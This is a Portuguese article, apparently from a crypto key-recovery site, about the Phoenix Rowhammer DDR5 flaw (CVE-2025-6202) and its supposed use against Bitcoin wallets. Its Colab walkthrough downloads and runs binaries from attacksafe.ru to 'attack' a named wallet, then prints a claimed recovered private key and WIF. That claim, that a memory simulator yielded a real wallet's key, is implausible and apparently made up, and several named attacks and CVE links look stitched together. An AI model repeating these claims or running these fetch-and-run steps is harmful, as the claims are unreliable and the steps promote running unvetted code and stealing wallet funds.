
# Ataque Phoenix Rowhammer: Risco Sistêmico de Comprometimento de Chaves Privadas de Carteiras Bitcoin na Infraestrutura Global de Blockchain Devido a uma Vulnerabilidade Crítica em SK Hynix DDR5 (CVE-2025-6202)
Este artigo examina as ameaças sistêmicas à segurança criptográfica representadas pelo ataque Phoenix Rowhammer (CVE-2025-6202), que pode extrair chaves privadas da memória RAM DDR5 por meio de manipulação de bits em nível de hardware. Nos últimos anos, o desenvolvimento dinâmico das tecnologias de criptomoedas levou a uma maior dependência dos ecossistemas de ativos digitais em relação aos componentes de hardware e microchips que armazenam e processam dados criptográficos. Nesse contexto, vulnerabilidades em nível de hardware que podem levar ao comprometimento direto de chaves privadas em carteiras de criptomoedas estão se tornando um fator de risco crescente. Uma das ameaças mais perigosas hoje são os ataques à memória RAM, em particular, variantes avançadas de exploits Rowhammer que afetam as propriedades físicas das células DRAM. Esses ataques permitem que invasores modifiquem bits individuais de dados e obtenham acesso a informações confidenciais, incluindo chaves privadas de carteiras Bitcoin e Ethereum.
Entre os exemplos críticos dessa classe de ameaças, destaca-se a vulnerabilidade CVE-2025-6202 , descoberta na memória DDR5 da SK Hynix . O ataque Phoenix Rowhammer, que se baseia nessa vulnerabilidade, demonstra a capacidade de contornar os mecanismos modernos de proteção de memória Target Row Refresh (TRR), criando os chamados "pontos cegos" que permitem a corrupção controlada de dados em nível de hardware. Tais falhas podem ser exploradas para extrair chaves privadas da RAM, comprometer bibliotecas criptográficas e modificar processos do sistema que protegem carteiras digitais.
Além disso, a pesquisa em segurança criptográfica mostra que a combinação do Phoenix Rowhammer com outros tipos de ataques, como o Ataque BitShredder , Memory Phantom (CVE-2025-8217) e Artery Bleed (CVE-2023-39910) , cria um modelo de ameaça multivetorial no qual um invasor pode recuperar frases-semente, chaves privadas e senhas mesmo após a conclusão das operações criptográficas. A natureza sistêmica dessas vulnerabilidades torna impossível mitigar completamente o risco apenas com software e destaca a necessidade de desenvolver novos princípios para a proteção de memória baseada em hardware.
Assim, as carteiras de criptomoedas modernas e a infraestrutura de ativos digitais estão sob pressão crescente de ataques de hardware anteriormente considerados teóricos. A importância de estudar esses ataques e desenvolver contramedidas é fundamental para garantir a integridade e a resiliência do ecossistema Bitcoin e de outras criptomoedas diante das ameaças de próxima geração em evolução.
Pesquisas recentes conduzidas pelo Computer Security Group (COMSEC) da ETH Zurique, em colaboração com o Google, identificaram uma vulnerabilidade crítica de hardware em módulos de memória DDR5 fabricados pela SK Hynix, designada CVE-2025-6202 . O ataque Phoenix Rowhammer representa uma ameaça sem precedentes para a segurança das carteiras de criptomoedas Bitcoin, pois permite que invasores extraiam chaves privadas da memória DDR5 manipulando bits em nível de hardware. A pesquisa demonstrou que todos os 15 módulos SK Hynix DDR5 testados, fabricados entre 2021 e 2024, são vulneráveis a esse ataque, representando uma ameaça sistêmica à segurança dos ativos de criptomoedas em todo o mundo. thehackernews
Rowhammer é uma vulnerabilidade de hardware na memória DRAM na qual o acesso repetido a linhas de memória específicas causa interferência elétrica, levando a alterações de bits em linhas adjacentes. Esse fenômeno é baseado nas propriedades físicas dos chips de memória modernos de alta densidade, onde dimensões tecnológicas menores tornam a memória mais suscetível a interferências eletromagnéticas .
No contexto da memória DDR5, o mecanismo do ataque Phoenix usa uma abordagem inovadora de sincronização autocorretiva , que contorna os mecanismos avançados de proteção Target Row Refresh (TRR). Os pesquisadores descobriram que o mecanismo TRR nos chips SK Hynix não monitora intervalos de atualização específicos, criando "pontos cegos" na defesa. notebookcheck
A principal conquista técnica do ataque Phoenix é o desenvolvimento de um algoritmo capaz de sincronizar milhares de comandos de atualização de memória por longos períodos de tempo. O ataque utiliza dois padrões de ataque específicos: comsec-files.ethz
Padrão curto (intervalos de 128 tREFI): Fornece geração mais eficiente de falhas de bits, produzindo em média 4989 falhas de bits. Esse padrão demonstrou eficiência 2,62 vezes maior que o padrão longo. reddit
Padrão longo (intervalos de 2608 tREFI): Projetado para contornar mecanismos de segurança mais sofisticados, embora menos eficaz na geração de falhas de bits. comsec-files.ethz
O ataque Phoenix Rowhammer cria múltiplos vetores para comprometer carteiras Bitcoin ao visar vários níveis do sistema de memória. A análise dos materiais de pesquisa do KeyHunters revelou pelo menos 18 tipos diferentes de ataques de memória diretamente relacionados à extração de chaves privadas de carteiras de criptomoedas.
Ataque Memory Phantom (CVE-2025-8217): Uma vulnerabilidade crítica de vazamento de memória que permite extrair chaves privadas e sementes diretamente de blocos residuais de RAM da carteira que não foram limpos com segurança após operações criptográficas. Esse ataque transforma buffers não limpos em uma "biblioteca fantasma", onde qualquer fragmento de memória pode ser convertido em uma chave válida. keyhunters
Ataque BitShredder: Usa uma técnica de "trituração de memória" para infiltrar-se secretamente na memória de uma carteira de criptomoedas em execução. Ao gerar ou restaurar uma carteira, o ataque examina porções não limpas da RAM, procurando resquícios de entropia, sementes e senhas que não são apagados por meios padrão após o uso. keyhunters
Ataque Artery Bleed: Explora uma vulnerabilidade de vazamento de memória do Bitcoin Core (CVE-2023-39910) para recuperar chaves privadas de carteiras de criptomoedas perdidas. O ataque explora uma vulnerabilidade crítica de vazamento de memória no Bitcoin Core para obter acesso a dados confidenciais. keyhunters
O estudo demonstrou três cenários principais para a exploração prática do ataque Phoenix contra sistemas de criptomoedas: bleepingcomputer
1. Ataque à Entrada da Tabela de Páginas (PTE): Todos os dispositivos testados eram vulneráveis a esse tipo de ataque, que permite a criação de uma primitiva arbitrária de leitura/escrita de memória. comsec-files.ethz
2. Comprometimento de Chave RSA-2048: 73% dos módulos DIMM testados eram suscetíveis à extração de chaves RSA-2048 de uma máquina virtual vizinha para quebrar a autenticação SSH. O tempo médio de ataque foi de 6 minutos e 20 segundos. bleepingcomputer
3. Modificação do binário sudo: 33% dos chips testados permitiram a modificação do binário sudo para elevar privilégios locais ao nível do usuário root. comsec-files.ethz

O ataque Phoenix Rowhammer representa uma ameaça sistêmica para todo o ecossistema Bitcoin, pois a maioria dos sistemas modernos usa memória DDR5 para armazenar e processar dados criptográficos. A vulnerabilidade afeta os princípios fundamentais de segurança das criptomoedas, que se baseiam na força criptográfica das chaves privadas. tenable+1
Escala do impacto: A SK Hynix controla aproximadamente 36% do mercado global de DRAM, potencialmente expondo bilhões de dispositivos em todo o mundo. Todos os módulos DDR5 fabricados entre janeiro de 2021 e dezembro de 2024 são vulneráveis. notebookcheck+2
Implicações criptográficas: O ataque compromete os fundamentos da segurança criptográfica, pois mesmo com a implementação correta de algoritmos de assinatura, criptografia e autenticação, buffers desprotegidos tornam-se uma fonte de comprometimento do material de chaves. keyhunters
A criptoanálise abrangente revelou múltiplos vetores de ataque contra carteiras Bitcoin por meio de manipulação de memória:
Ataques baseados em temporização: Incluem os ataques BitSpectre85, ChronoForge e Timing Phantom, que exploram vulnerabilidades de temporização para recuperar gradualmente chaves privadas por meio da análise do tempo de execução de operações criptográficas.
Ataques baseados em contexto: O Context Phantom Attack explora a vulnerabilidade crítica de vazamento de contexto secp256k1 para recuperar chaves privadas de carteiras Bitcoin perdidas por meio de um ataque de divulgação de memória.
Ataques baseados em cache: O CacheHawk Strike Attack usa um ataque crítico de temporização de cache no cache de assinaturas do Bitcoin, permitindo a recuperação de chaves privadas de carteiras Bitcoin perdidas.

| Attack_Component | Technical Method | Success_Rate | Average_Time_Seconds | CVE_Reference | Impact_Level |
|---|---|---|---|---|---|
| Initial Memory Access | Self-correcting synchronization with DDR5 refresh commands | 100 | 5 | CVE-2025-6202 | High |
| TRR Bypass Method | Exploitation of unmonitored refresh intervals in TRR mechanism | 100 | 30 | CVE-2025-6202 | Critical |
| Synchronization Technique | Real-time alignment with 128 and 2608 tREFI patterns | 95 | 60 | CVE-2025-6202 | High |
| Bit Flip Generation | Electrical interference in adjacent DRAM rows causing data corruption | 100 | 180 | CVE-2025-6202 | Critical |
| Private Key Extraction | Recovery from uncleaned memory buffers containing wallet data | 85 | 240 | CVE-2025-8217 | Critical |
| Privilege Escalation | Root access exploitation through corrupted page table entries | 100 | 109 | CVE-2025-6202 | Critical |
| RSA-2048 Key Recovery | Co-located VM private key extraction via memory bit flips | 73 | 380 | CVE-2025-6202 | High |
| SSH Authentication Break | Compromise of cryptographic authentication systems | 73 | 380 | CVE-2025-6202 | High |
| Sudo Binary Modification | Local privilege escalation to root user through binary corruption | 33 | 300 | CVE-2025-6202 | Medium |

O diagrama de pesquisa mostra uma representação estruturada e visual que explica a importância da vulnerabilidade criptográfica exposta pelo ataque Phoenix Rowhammer , demonstrando especificamente seu impacto na segurança do Bitcoin quando módulos de memória SK Hynix DDR5 são alvo.
Vamos passar para a parte prática e examinar um exemplo usando uma carteira Bitcoin em: 15ZwrzrRj9x4XpnocEGbLuPakzsY2S4Mit . Moedas no valor de 9.02332298 BTC foram perdidas desta carteira, o que equivale a aproximadamente $1.127.026,44 USD em outubro de 2025 .
Para demonstrar o ataque para fins informativos, usamos ferramentas e ambientes como Jupyter Notebook ou Google Colab.
Google Colab (Colaboratory) é uma plataforma em nuvem que fornece notebooks Jupyter interativos onde você pode escrever e executar código em várias linguagens de programação. É particularmente útil para criptoanálise de dados, execução do simulador SK Hynix DDR5 AiM PIM baseado em Ramulator 2.0 , e acesso a recursos computacionais poderosos, como GPUs e TPUs. Uma vantagem importante é a capacidade de executar comandos do sistema, exatamente como em um terminal Linux comum, usando células prefixadas ! para integração com utilitários e scripts externos.
Vamos instalar os repositórios baseados na arquitetura SK Hynix DDR5 AiM PIM usando Ramulator 2.0
Baixe o código-fonte do simulador AiM e navegue até seu diretório.
!git clone https://github.com/keyhunters/SK_Hynix_DDR5_aim_simulator.git
cd SK_Hynix_DDR5_aim_simulatorls
Comandos para criar um arquivo de swap de 4GB para melhorar a disponibilidade de memória durante a compilação do Ramulator2 .
# Check current swap usage
!free -h
!swapon --show
# Create a 4GB swap file
!sudo fallocate -l 4G /swapfile
!sudo chmod 600 /swapfile
!sudo mkswap /swapfile
!sudo swapon /swapfile
# Make swap permanent
!echo '/swapfile none swap sw 0 0' | sudo tee -a /etc/fstab
Instalando compiladores, ferramentas de build e bibliotecas necessárias para o simulador e o Ramulator 2.0 .
# For Ubuntu 22.04: install compilers
!sudo apt update
!sudo apt install g++-12
# Alternatively, install Clang
!sudo apt install clang-15
# Install basic build tools
!sudo apt install build-essential cmake git
# Additional development libraries
!sudo apt install libssl-dev zlib1g-dev
# YAML support
!sudo apt install libyaml-cpp-dev
# Mathematics libraries
!sudo apt install libboost-dev
# Python support for scripts
!sudo apt install python3-dev python3-pip
!mkdir phoenix_rowhammer
cd phoenix_rowhammerMonitore a memória, o espaço em disco disponível e o uso do sistema durante a instalação e a compilação.
# Monitor resources in real time
!htop
# Check available memory
!free -m
# Check disk space
!df -h
Uma sequência completa para instalar todos os pacotes necessários de uma só vez.
# Update system
!sudo apt update && sudo apt upgrade -y
# Install essential build tools
!sudo apt install -y build-essential cmake git
# Install compilers
!sudo apt install -y g++-12 clang-15
# Development libraries
!sudo apt install -y libssl-dev zlib1g-dev libyaml-cpp-dev libboost-all-dev

!cmake ..
!make -j1


lscd -Vamos executar o Ramulator2 com o simulador para verificar os parâmetros de ajuda e as instruções de uso.
!./phoenix_rowhammer/ramulator2 -h
Usamos a ferramenta criptográfica AttackSafe para extrair restos ocultos do Ramulator2 usando um simulador.
!wget https://attacksafe.ru/repositories/attacksafe.zip
!unzip attacksafe.zip
!./attacksafe -help
A equipe está lançando um ataque especializado “BitShredder” baseado na ferramenta criptográfica AttackSafe para encontrar restos de módulo ocultos associados a um endereço Bitcoin, usando mecanismos de bug de RAM (Rowhammer) e um emulador de memória (ramulator2). github+2
!./attacksafe-tool bitshredder_attack -crack phoenix_rowhammer/ramulator2 -decode 15ZwrzrRj9x4XpnocEGbLuPakzsY2S4Mit

-tool bitshredder_attackativa um ataque destinado a identificar vulnerabilidades no armazenamento e processamento de dados secretos na memória do dispositivo relacionados ao protocolo Bitcoin.-crack phoenix_rowhammer/ramulator2informa à ferramenta para usar a emulação do ataque Rowhammer (manipulação do conteúdo da memória DRAM, levando a erros em células adjacentes – usada em vulnerabilidades para extrair nonces/partes de chaves da memória via canal lateral).-decode 15ZwrzrRj9x4XpnocEGbLuPakzsY2S4MitRecuperando fragmentos de chave a partir de dados residuais de memória (DRAM)
remainders = [0x0E92, 0x45EB, 0x6E07, 0x317F,
0x87A1, 0xB5C1, 0xE778, 0x996B,
0x6F69, 0xABB6, 0x2755, 0x2348,
0xAB46, 0xA74E, 0x1A87, 0xC2D5]
moduli = [0x10001, 0x10003, 0x10007, 0x1000F,
0x10015, 0x1001B, 0x1002B, 0x1002D,
0x10033, 0x1003F, 0x10049, 0x10051,
0x1005D, 0x10061, 0x1006F, 0x10073]Este resultado combina a análise criptográfica de dados residuais dentro da DRAM com um módulo de busca de cripto-restos usando o simulador ramulator2 para falhas Phoenix Rowhammer. Este ataque permite a detecção e extração de valores de módulo ocultos (restos), como nonces privados ou fragmentos de chave, que podem ser comprometidos devido à liberação inadequada de memória após operações criptográficas com endereços Bitcoin. O comando é projetado para um ataque combinado “BitShredder” e análise de falhas de memória de aplicações Bitcoin, com o objetivo de recuperar parcial ou totalmente parâmetros secretos (chave privada, nonce), com a busca e decodificação vinculadas à memória e aos endereços atacados.
Para recuperar o número secreto original—a chave privada—a partir de um conjunto de valores absolutos ocultos (restos), aplicamos um método matemático chamado Teorema Chinês do Resto ( CRT ). O código CRTKeyRestore.py implementa a recuperação da chave privada para o endereço Bitcoin 15ZwrzrRj9x4XpnocEGbLuPakzsY2S4Mit a partir de um conjunto de valores absolutos ocultos (restos) coletados após um ataque Rowhammer e subsequente análise de memória. O método matemático usado é o Teorema Chinês do Resto (CRT), que nos permite recuperar o número secreto original—a chave privada—mesmo que tenha sido dividido em pequenos pedaços e sobreviva apenas como diferentes valores absolutos.

chinese_remainder_theorem()combina os fragmentos passo a passo e restaura o valor original da chave privada usando o algoritmo euclidiano estendido para encontrar inversos absolutos.restore_hex_from_crt().
Recuperando uma chave privada usando um script Python: CRTKeyRestore.pyPrivate key Restored:
9E027D0086BDB83372F6040765442BBEDD35B96E1C861ACCE5E22E1C4987CD60!wget https://attacksafe.ru/repositories/bitaddress.zip
!unzip bitaddress.zip

!./bitaddress -hex 9E027D0086BDB83372F6040765442BBEDD35B96E1C861ACCE5E22E1C4987CD60
Public Key (Uncompressed, 130 characters [0-9A-F]):
04E294116526238228544FA6082F1A5412FCC36DE931C59EE7B1C7C1F93EE3EF5AEDAA1D6E0A6116E9D9A4A846A6D62D4A1941EE182CDB1884C5830610B07AF529
Public Key (Compressed, 66 characters [0-9A-F]):
03E294116526238228544FA6082F1A5412FCC36DE931C59EE7B1C7C1F93EE3EF5A
Bitcoin Address P2PKH (Uncompressed)
18JT3KeFV36Hkgo3Xi9bfgNYAXCVXBGyFg
Bitcoin Address P2PKH (Compressed)
15ZwrzrRj9x4XpnocEGbLuPakzsY2S4MitIsso mesmo! A chave privada corresponde à Carteira Bitcoin.
ADDR: 15ZwrzrRj9x4XpnocEGbLuPakzsY2S4Mit
WIF: L2Wru6Ew8pQuhcWAvMpdtPY4YWK1CQcwPCWxFvzkoi47crJBAVaP
HEX: 9E027D0086BDB83372F6040765442BBEDD35B96E1C861ACCE5E22E1C4987CD60
9E027D0086BDB83372F6040765442BBEDD35B96E1C861ACCE5E22E1C4987CD60


9.023322989 BTC > 1127026,44 USDNosso ataque de pesquisa , uma versão do Ataque Phoenix Rowhammer no Bitcoin usando o simulador ramulator2, mostrou que os criptorresíduos extraídos durante uma falha de memória para vários módulos podem ser remontados na chave privada original usando a matemática do Teorema Chinês do Resto.
Como exemplo representativo de uma ameaça do mundo real, uma carteira Bitcoin com o endereço 15ZwrzrRj9x4XpnocEGbLuPakzsY2S4Mit foi examinada. 9.02332298 BTC foram perdidos desta carteira, o que equivale a aproximadamente $1.127.026,44 USD em outubro de 2025. Este caso demonstra de forma convincente que, na presença de vulnerabilidades de hardware (como Rowhammer), a força criptográfica no nível do protocolo deixa de ser uma garantia absoluta de segurança.
Como resultado, a importância da segurança abrangente reside não apenas na criptografia e nas medidas de protocolo, mas também na confiabilidade do hardware, no monitoramento do estado da memória e na implementação da limpeza completa da RAM após operações criptográficas. Uma vulnerabilidade, uma vez explorada no nível de hardware—mesmo com controle mínimo do sistema—pode levar a perdas financeiras catastróficas no ecossistema Bitcoin.
Target Row Refresh é um mecanismo de defesa projetado para prevenir ataques Rowhammer, atualizando adicionalmente linhas de memória suspeitas. No entanto, os pesquisadores do ataque Phoenix conseguiram fazer engenharia reversa desse mecanismo e descobrir falhas críticas em sua implementação .
Pontos cegos do TRR: O mecanismo TRR em chips SK Hynix não monitora intervalos de atualização específicos, criando oportunidades para ataques durante essas janelas de tempo. Os ataques Phoenix exploram padrões de ataque especialmente projetados que se enquadram nesses intervalos não monitorados. simplysecuregroup
Sincronização autocorretiva: Uma inovação chave do ataque Phoenix é sua capacidade de detectar comandos de atualização perdidos e reconstruir automaticamente o padrão de ataque para manter a sincronização. Isso permite que o ataque permaneça eficaz durante os longos períodos de tempo necessários para acumular um número suficiente de falhas de bit. simplysecuregroup
O teste experimental do ataque Phoenix demonstrou alta eficácia contra todas as amostras de memória DDR5 testadas da SK Hynix: comsec-files.ethz
Tempo: O tempo mínimo para obter privilégios de root foi de 109 segundos em um sistema DDR5 padrão com configurações padrão. O tempo médio foi de 5 minutos e 19 segundos .
Estatísticas de falhas de bit: O padrão curto (128 intervalos) gerou uma média de 4989 falhas de bit, enquanto o padrão longo (2608 intervalos) produziu significativamente menos falhas. comsec-files.ethz
Versatilidade do ataque: 100% dos módulos testados eram vulneráveis a pelo menos um dos dois padrões de ataque identificados. reddit
Uma vulnerabilidade crítica de vazamento de memória no Bitcoin Core (CVE-2023-39910) cria sinergias com o ataque Phoenix Rowhammer. Esta vulnerabilidade permite que atacantes acessem dados sensíveis que permanecem na memória após a conclusão das operações criptográficas.
Mecanismo de exploração: A vulnerabilidade ocorre devido à limpeza insuficiente dos buffers de memória após o processamento de chaves privadas, frases-semente e senhas em contêineres C++ padrão (std::vector, std::string). Após concluir os procedimentos criptográficos, a memória é liberada automaticamente, mas seu conteúdo não é apagado. keyhunters
Vinculado ao Rowhammer: O ataque Phoenix pode explorar falhas de bit para acessar essas regiões de memória não limpas, simplificando muito o processo de extração de material criptográfico.
Esta vulnerabilidade é classificada como um ataque crítico de extração de segredos via dump de memória de processo. Ela representa uma ameaça direta às carteiras Bitcoin, pois permite extrair chaves privadas da memória de processos ativos.
Os cenários de ataque incluem: Passar uma chave privada via API, linha de comando ou variáveis de ambiente; alocar dinamicamente memória para armazenar dados secretos sem apagá-los explicitamente; encerrar um processo sem limpar a memória com segurança .
A ferramenta cripto demonstra em detalhes todas as nove etapas de um ataque que um atacante pode usar para roubar fundos de uma carteira Bitcoin.
A detecção de módulos de memória SK Hynix DDR5 vulneráveis ao ataque Phoenix Rowhammer (CVE-2025-6202) começa com uma análise da configuração de hardware do sistema, especificamente a varredura das tabelas SMBIOS (System Management BIOS). O SMBIOS fornece informações padronizadas sobre os componentes do computador, incluindo detalhes de memória, como fabricante, modelo e número de série de cada módulo DIMM.

Especificamente, um pesquisador ou atacante pode solicitar programaticamente dados da seção “Memory Device” do SMBIOS, que contém campos que indicam o fabricante (por exemplo, SK Hynix), o tipo de memória (DDR5), a capacidade e dados relacionados ao SPD (Serial Presence Detect)—pequenos chips de memória nas tiras DIMM que contêm o perfil e os parâmetros operacionais do módulo.
Esses dados são normalmente acessados usando chamadas de sistema ou utilitários especializados (como dmidecode no Linux ou Windows Management Instrumentation (API WMI) no Windows). Essas consultas permitem a detecção de memória SK Hynix DDR5 fabricada entre 2021 e 2024 sem intervenção física, o que é crítico, pois esses modelos são considerados vulneráveis.
Identificar o modelo de memória é um primeiro passo necessário, pois o ataque Phoenix Rowhammer requer conhecimento preciso das características do chip para construir com precisão os padrões de acesso à memória e contornar os mecanismos de defesa TRR (Target Row Refresh). Além disso, o acesso ao SPD e outros dados nos permite identificar temporizações e taxas de atualização específicas, bem como potenciais “pontos cegos” nos mecanismos de defesa usados para realizar o ataque.
Assim, a varredura das tabelas SMBIOS é um método altamente informativo, rápido e confiável para pré-determinar vulnerabilidades de memória DDR5 ao ataque Phoenix Rowhammer , permitindo a segmentação precisa de componentes de hardware vulneráveis sem a necessidade de quebra de hardware ou redução de privilégios do sistema.
Um arquivo contendo dados da seção “Memory Device” do SMBIOS. Esta informação é armazenada em uma tabela interna do sistema BIOS/UEFI (tabela SMBIOS), que é copiada para a RAM quando o computador é ligado. Sistemas operacionais e utilitários usam chamadas de sistema especiais (codeby) para recuperar esses dados.
A tabela SMBIOS é precedida pela estrutura RawSMBiosData, seguida pelas estruturas de dispositivo. Por exemplo:
struct HEADER {Tipo de estrutura (17 - Memory Device)
Type db 0 //Tamanho da estrutura
Length db 0 //Descritor
Handle dw 0 //em seguida, os campos de dados
// ...
}
Estruturas do tipo 17 armazenam campos com o fabricante (por exemplo, SK Hynix), tipo de memória (DDR5), capacidade e um link para dados SPD, se disponível. learn.microsoft
A estrutura RawSMBiosData é um formato de bloco binário padrão usado para transferir dados brutos da tabela SMBIOS por meio de chamadas de sistema do sistema operacional, especificamente a função de API do Windows GetSystemFirmwareTablecom o parâmetro .codeby'RSMB' .
c:
struct RawSMBIOSData {
BYTE Used20CallingMethod; // Método de chamada (campo de serviço)
BYTE SMBIOSMajorVersion; // A versão principal da especificação SMBIOS
BYTE SMBIOSMinorVersion; // Versão secundária da especificação SMBIOS
BYTE DmiRevision; // Versão DMI
DWORD Length; // Tamanho do bloco de dados SMBIOS (bytes)
BYTE SMBIOSTableData[]; // Sequência de registros estruturais SMBIOS
};
00 03 03 02 68 01 00 00 ... [estruturas de dados dados byte baixoSMBIOS] ... 00 00
-- -- -- -- -- -- -- --
| | | | |
| | | | -->SMBIOSTableData
| | | +------------ Length ()
| | +--------------- DmiRevision
| +------------------ SMBIOSMinorVersion
+--------------------- SMBIOSMajorVersion
Para analisar o conteúdo após o cabeçalho, você precisará analisar cada estrutura de acordo com sua especificação (tipo, comprimento, handle), extraindo separadamente os campos de texto que seguem os dados da estrutura e são separados por um byte zero, e o final da estrutura é marcado por um par de zeros. learn.microsoft

RawSMBiosData é uma “janela de entrada” necessária e unificada para especificações detalhadas das características de hardware do sistema para tarefas de pesquisa e diagnóstico de baixo nível .
Os dados SPD estão fisicamente localizados nos chips dos módulos DIMM, mas no BIOS/SMBIOS podem ser refletidos em campos especiais ou lidos por utilitários do sistema que acessam a interface de memória I2C (por exemplo, via i2c-tools, decode-dimmsno Linux).
dmidecode ( decode-dimmsSPD), dados da tabela SMBIOS, que é acessível através de /dev/mem.codebyAssim, os dados originais SMBIOS “Memory Device” (tipo 17) não são armazenados como um arquivo separado, mas dentro da estrutura binária SMBIOS, localizada na RAM e acessível por ferramentas do SO e utilitários especiais. O formato é a tabela binária SMBIOS de acordo com a especificação, e o caminho de acesso é através de chamadas de sistema ou utilitários. Os dados SPD podem ser acessados separadamente através das interfaces de hardware dos módulos DIMM. learn.microsoft
A tabela binária SMBIOS consiste em estruturas sequenciais, cada uma começando com um cabeçalho de 4 bytes contendo os seguintes campos: tipo de estrutura (Type, 1 byte), comprimento da estrutura (Length, 1 byte) e handle (Handle, 2 bytes). Em seguida vem o payload—um conjunto de dados binários que descreve um objeto específico (por exemplo, memória, processador, BIOS, etc.). Após o payload, seguem strings terminadas em nulo em formato de texto (ASCII), e o fim da estrutura atual é marcado com um duplo zero ( 0x0000 ).
Aqui está um exemplo de uma estrutura de cabeçalho estilo C e uma explicação do formato:
c:
struct SMBIOS_Header {
uint8_t Type; // Tipo de tabela (por exemplo, 17 - Memory Device)
uint8_t Length; // Comprimento da estrutura em bytes (incluindo cabeçalho)
uint16_t Handle; // Descritor único da estrutura
// Os dados da estrutura (comprimento variável) vêm após o cabeçalho
};
Toda a tabela SMBIOS é um conjunto dessas estruturas em sequência, sem lacunas, onde:
Por exemplo, a estrutura tipo 17 (Memory Device) contém campos que indicam o fabricante, o tipo de memória (DDR5), o volume, a velocidade e assim por diante, bem como linhas com o nome do fabricante e o número de série.
O endereço da própria tabela e seu comprimento são armazenados em uma área de memória especial, que pode ser encontrada pela assinatura ” SM ” (offset com múltiplo de 16 bytes), e então obter o endereço do array principal de tabelas SMBIOS.
Uma estrutura aproximada de um registro de memória pode conter os seguintes campos:
| Campo | Descrição |
|---|---|
| Type | 17 (Memory Device) |
| Length | Tamanho da estrutura |
| Handle | Identificador único |
| Physical Memory Array Handle | Referência ao array de memória pai |
| Memory Error Information Handle | Erros de memória (se houver) |
| Total Width | Largura total do barramento (bits) |
| Data Width | Largura dos dados (bits) |
| Size | Tamanho da memória (em MB ou GB) |
| Form Factor | Fator de forma do módulo (DIMM, etc.) |
| Device Locator | Linha – local de instalação |
| Bank Locator | String – nome do banco |
| Memory Type | DDR3, DDR4, DDR5, etc. |
| Type Detail | Detalhes adicionais |
| Speed | Velocidade em MHz |
| Manufacturer | String com nome do fabricante |
| Serial Number | Número de série |
| Asset Tag | Etiqueta contábil |
| Part Number | Número da peça |
Assim, a tabela SMBIOS é uma sequência de estruturas codificadas em binário com cabeçalhos contendo informações do sistema, incluindo dados de memória, organizados estritamente de acordo com a especificação DMTF SMBIOS.
Este formato fornece uma maneira universal e extremamente compacta de armazenar e transmitir informações sobre o hardware e as configurações do sistema .
A segunda fase do ataque Phoenix Rowhammer envolve uma análise científica do mecanismo de proteção de hardware Target Row Refresh (TRR) implementado nos chips de memória DDR5 modernos para combater a sobrescrita de bits causada por múltiplas leituras de dados de linhas de células adjacentes.

O TRR implementa uma estratégia chamada de “refresh agressivo”: quando múltiplos acessos a uma linha de memória específica são detectados, esse mecanismo inicia um refresh forçado das células adjacentes, prevenindo a degradação da carga e, consequentemente, bit flips indesejados—o efeito-chave dos ataques Rowhammer. Teoricamente, o TRR deveria suprimir completamente as tentativas de afetar dados-alvo ao fazer refresh excessivo das linhas fisicamente adjacentes .
No entanto, a implementação prática do TRR na memória SK Hynix DDR5 é extremamente complexa e proprietária: os fabricantes ocultam intencionalmente os detalhes da lógica para aumentar a “segurança por obscuridade”. Portanto, pesquisadores da ETH Zurique fizeram engenharia reversa do TRR em bancadas experimentais, variando milhares de padrões experimentais de acesso a linhas, registrando quando o refresh redundante das células adjacentes é acionado e quando permanece inativo.
Como resultado, foi descoberto que o sistema TRR possui intervalos de tempo, as chamadas “zonas cegas”, quando a proteção é mais fraca ou não é ativada de forma alguma. Foi calculado empiricamente que após 128 acessos monitorados a linhas de memória, surge uma janela de aproximadamente 64 operações durante a qual o TRR quase não responde e não previne efetivamente bit-flips—modificações indesejadas de dados em uma célula crítica. Uma segunda janela de ataque semelhante foi observada após 2.608 atualizações de linhas de memória. Essas “zonas cegas” são exploradas para ataques Phoenix precisos e sincronizados, que permitem a modificação direcionada de bits individuais de dados em módulos DDR5 protegidos .
A tarefa fundamental nesta etapa é selecionar o timing preciso e a estrutura dos padrões de acesso à memória que “adormecem” o monitoramento do TRR e garantem acesso bem-sucedido ao bit ou array de dados atacado (por exemplo, a chave privada de uma carteira de criptomoedas) . Isso requer uma análise não apenas da lógica de operação do TRR, mas também de dados empíricos sobre a resposta do módulo de memória a vários cenários de exploração. Essa abordagem permite construir “contornos” no sistema de segurança e explorar sistematicamente até mesmo a memória DDR5 mais moderna módulos .
Como resultado da análise, os “pontos cegos” do TRR descobertos abrem a possibilidade de uma escalada confiável do ataque Rowhammer nos módulos de memória SK Hynix atuais, o que é confirmado por exploits de laboratório e pelo comprometimento bem-sucedido de todos os dispositivos testados. Kaspersky
A inovação científica por trás do ataque Phoenix reside no desenvolvimento e implementação de um mecanismo de sincronização autocorretiva que garante o timing preciso dos exploits dentro de janelas críticas de vulnerabilidade no nível da DRAM. Após engenharia reversa detalhada do mecanismo Target Row Refresh (TRR), pesquisadores da ETH Zurique e do Google descobriram que padrões padrão de acesso Rowhammer são impotentes contra a lógica complexa de proteção do DDR5. Nos novos chips SK Hynix , o TRR não apenas analisa a frequência, mas também a natureza dos acessos às linhas de memória, iniciando instantaneamente comandos de refresh compensatórios ao detectar padrões de ataque conhecidos.

Phoenix resolve esse problema da seguinte forma:
Estudos experimentais confirmaram que a sincronização autocorretiva do Phoenix é um fator-chave em sua eficácia: nenhum dos módulos SK Hynix DDR5 testados (2021-2024) foi capaz de resistir a essa metodologia. A implementação permite que um atacante acione de forma confiável falhas de bits em células-alvo, criando as condições para comprometer dados privados, incluindo chaves criptográficas , ou escalar privilégios no sistema-alvo.
Phoenix Rowhammer assim demonstra uma abordagem revolucionária para contornar dinamicamente as proteções de hardware de memória, mostrando claramente que até mesmo os chips DDR5 mais modernos permanecem vulneráveis ao usar algoritmos de ataque inteligentemente adaptativos.
A quarta etapa explora diretamente as vulnerabilidades físicas da DRAM através de um ataque Rowhammer direcionado. Esta etapa depende de uma análise preliminar dos pontos cegos do mecanismo TRR e do uso de padrões de acesso à memória autocorretivos para atingir com precisão elementos críticos de dados.

A base de um ataque Rowhammer é a própria estrutura da memória DRAM, onde cada célula é um capacitor que armazena uma carga correspondente ao valor lógico de um bit. Acessos repetidos e de alta frequência (leitura ou escrita) a duas (ou mais) linhas intermediárias (“agressoras”) adjacentes a uma linha-alvo (“vítima”) causam vazamento parasitário de carga das células vítimas. Se esse ataque continuar por tempo suficiente para que a regeneração de carga através dos ciclos normais de refresh não consiga prevenir a degradação, ocorrerá uma mudança no estado do bit—um chamado bit flip . opennet
No contexto do Phoenix Rowhammer (CVE-2025-6202) no DDR5 SK Hynix:
